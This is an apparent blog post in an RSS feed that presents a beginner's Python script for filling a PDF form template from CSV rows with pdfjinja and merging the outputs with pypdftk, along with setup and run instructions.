&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Auto PDF filler
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;csv&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pprint&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pdfjinja&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;PdfJinja&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;shutil&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pathlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pypdftk&lt;/span&gt;

&lt;span class="c1"&gt;# glabal variables
&lt;/span&gt;&lt;span class="n"&gt;datasetPath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"ds1.csv"&lt;/span&gt;
&lt;span class="n"&gt;templatePath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"form1.pdf"&lt;/span&gt;
&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"groupA"&lt;/span&gt;



&lt;span class="c1"&gt;#### &amp;lt;-------[ START OF FUNCTIONS]-------&amp;gt;
# create list of dictionaries. One dict woud be one dataset. The whole list carries all data
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lister&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;csvPath&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;reading CSV from&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;csvPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;csv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DictReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;csvPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'r'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;theList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;theList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;theList&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;theList&lt;/span&gt;

    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# takes in list and writes PDFs of them
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;PDFer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pdfPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;reading PDF from&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pdfPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;thePDF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PdfJinja&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdfPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;creating filled PDFs ..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# will always overwrite if existing group name folder exists
&lt;/span&gt;        &lt;span class="n"&gt;shutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rmtree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./filled/"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ignore_errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;pathlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'./filled/'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parents&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allData&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="n"&gt;pdfout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;thePDF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;pdfout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./filled/"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"/filled"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
                              &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;".pdf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"wb"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;" files created for "&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Reads PDFs from specified directory and compiles them into single PDF with many pages
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;masher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdfdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;allPDF&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;listdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdfdir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;allPDF&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;normpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdfdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# creates the "compiled" folder. If it already exists, do nothing
&lt;/span&gt;        &lt;span class="n"&gt;pathlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'./compiled'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parents&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;outFilePath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"./compiled/all-forms-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;".pdf"&lt;/span&gt;
        &lt;span class="n"&gt;pypdftk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allPDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;outFilePath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;Completed compiling PDFs!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;outFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"all-forms-"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;".pdf"&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;outFile&lt;/span&gt;

    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;error compiling PDFs&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#### &amp;lt;-------[END OF FUNCTIONS]-------&amp;gt;
&lt;/span&gt;

&lt;span class="c1"&gt;# Calling the functions
&lt;/span&gt;&lt;span class="n"&gt;PDFer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lister&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datasetPath&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;templatePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;outFileName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;masher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./filled/"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"output file name: "&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;outFileName&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, you need to have the pdf form and the csv dataset in the same directory as the .py app. It should look something like this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--elEQJ6MY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/initial-file-structure.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--elEQJ6MY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/initial-file-structure.png" alt="initial file structure"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next, modify the global variables to fit your pdf form and csv dataset file names. You can also change the group name if you're using this app for several groups. For instance filling forms for Client A and Client B. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1SaX9KiF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/global%2520variables.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1SaX9KiF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/boiledsteak/auto-pdf-filler/main/screenshots/global%2520variables.png" alt="global variables"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You could take the fillerz.py file from mu github repo instead.&lt;/p&gt;

&lt;p&gt;I know, this is hardcoded and could be better. The web application improves on this!&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h2&gt;
  
  
  Run! &lt;a&gt;&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;With everything set up, you can finally run the app! I used PowerShell on Windows 10. I believe the code can run on Linux too you might just need to use a different library for modifying files and directories. Contact me if you need help with this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python fillerz.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the output file being output in a folder called "compiled". I know the app and its process is quite clunky. This was my first attempt to get the job done. See part 2 for a beautified web app solution!&lt;/p&gt;

&lt;p&gt;🚀 back to contents&lt;/p&gt;

&lt;h1&gt;
  
  
  That's it!
&lt;/h1&gt;

&lt;p&gt;Thank you for reading. As mentioned in my disclaimer, I'm still learning, I am definitely no expert but this solved my issue and I hope it helps someone out there :)&lt;/p&gt;

</description>
      <category>python</category>
      <category>webdev</category>
      <category>productivity</category>
    </item>
  </channel>
</rss>
